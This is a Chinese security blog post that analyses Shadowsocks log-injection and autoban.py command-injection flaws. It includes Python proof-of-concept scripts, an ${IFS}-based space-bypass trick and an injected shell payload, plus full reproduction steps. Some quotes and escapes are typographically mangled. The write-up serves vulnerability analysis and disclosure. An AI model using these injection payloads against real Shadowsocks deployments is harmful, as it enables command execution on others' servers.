前言
10月13号X41 D-Sec组织披露了有关Shadowsocks的一些漏洞,文章在此。以下对文中提及的日志文件写入和命令执行漏洞进行简要分析。
漏洞细节还是很简单的,但其中涉及到了一些小技巧还是可以提一提的。
要点
- 日志文件写入漏洞原因在于Shadowsocks基于Socks5的代理是支持用域名作为连接目标的,在精心构造目标域名为可控内容时,Shadowsocks会将其直接写入日志。
- 命令执行漏洞原因在于Shadowsocks提供的用于检测与封禁暴力破解IP的autoban.py脚本在处理日志时不严谨,造成字符串拼接形式的命令执行。
LOG FILE MANIPULATION
角色有三:ss服务器端,ss客户端和用户端。
ss客户端作为socks5代理,在接收到用户端发送过来的请求后,会对请求进行解析。关键解析函数shadowsocks/common.py中parse_header(data)函数在判断请求目标地址类型为域名后,会将其写入日志文件。
ss客户端会将请求向后传输给ss服务器端,ss服务器端也会如上写入日志。
因此,如果可以控制用户端请求的目标地址部分,即可将任意内容写入日志。简单写个脚本如下,9001是ss客户端地址:
1
2
3
4
5
6
7
8
9
10
11
12
|
# coding:utf-8
import socket
eval_data = “foonbarntail”
hello = “050100”.decode(‘hex’)
target = (“05010003%02x%s0050” % (len(eval_data), eval_data.encode(‘hex’))).decode(‘hex’)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((‘127.0.0.1’, 9001))
s.send(hello)
print s.recv(1024)
s.send(target)
print s.recv(1024)
s.close()
|
查看日志:
1
2
3
4
|
> cat /tmp/ss/client.log
2017–10–14 20:34:00 INFO connecting foo
bar
tail:80 from 127.0.0.1:62977
|
可以看到,“bar”是单行写入的,漏洞触发成功。
COMMAND EXECUTION
autoban.py脚本的作用是通过检查ss日志中的错误来对请求来源ip进行一些封禁处理。脚本处于shadowsocks/utils/autoban.py。
内容简短说就是按行查日志,如果出现
1
|
can not parse header when
|
关键字符串在行内就进一步处理,最终提取来源IP拼接进cmd执行。
1
2
|
cmd = ‘iptables -A INPUT -s %s -j DROP’ % ip
os.system(cmd)
|
也就是说,在日志内容可控的情况下,完全可以通过精心构造请求来达到ip的内容可控,从而造成命令执行。
这里有三个坑:
- 命令内容不能有空格,不然被切开了
- 命令内容不能有冒号,不然被切开了
- 脚本查来源ip是有频次控制的,默认为3。也就是攻击请求需要发三次以上才会触发autoban的ban。
源文中为了绕过空格限制,给出的POC用到了一个将日志作为脚本执行的方法,但并不是很好,因为需要知道ss的日志存储路径。如果路径非默认,就没用了。
这里需要提一下执行bash脚本不用空格的方法。主要用到了${IFS}环境变量,${IFS}=‘空格nt0’,空格在第一个字符。
直接给出吧:
- echo “a${IFS:0:1}b” 从0位置截取1个字符,这里不能用,因为引入冒号了
- echo “a${IFS%???}b” %逆向裁掉3个字符,?是占位符,这个可以用
因此POC也呼之欲出了:
1
|
eval_data = “can not parse header when ||touch${IFS%???}>${IFS%???}/tmp/ss/eval.txt&:n”
|
最后给出完成测试过程:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
启动ss服务端
python server.py –s 127.0.0.1 –p 9000 –k 1234 —log–file /tmp/ss/server.log —pid–file /tmp/ss/server.pid –d start
启动ss客户端
python local.py –s 127.0.0.1 –p 9000 –l 9001 –k 1234 —log–file /tmp/ss/client.log —pid–file /tmp/ss/client.pid –d start
模拟定时启动autoban.py脚本检查ss客户端日志
watch –n 1 “python autoban.py < /tmp/ss/client.log”
执行POC(3次!!3次!!3次!!默认就是3次!!我就不写循环:)
# coding:utf-8
import socket
eval_data = “can not parse header when ||touch${IFS%???}>${IFS%???}/tmp/ss/eval.txt&:n”
hello = “050100”.decode(‘hex’)
target = (“05010003%02x%s0050” % (len(eval_data), eval_data.encode(‘hex’))).decode(‘hex’)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((‘127.0.0.1’, 9001))
s.send(hello)
print s.recv(1024)
s.send(target)
print s.recv(1024)
s.close()
查看eval.txt是否存在
ls –al /tmp/ss/eval.txt
|
最后
谁没事儿会用autoban.py啊,大家的ss还是很安全的 🙂
相关推荐: ECShop 4.0 前台SQL注入漏洞分析(需用户注册)
#00 前言 前两天看到有公众号发了ECShop的注入分析漏洞,所以想看下与笔者挖的是否重复,看完还是非常佩服作者的分析水平,基于Nday然后对整个利用链进行回溯分析,从而发现0day,对代码审计人员帮助颇多,不过这个漏洞需要用户注册,严格意义上来讲需要进行用…
请登录后发表评论
注册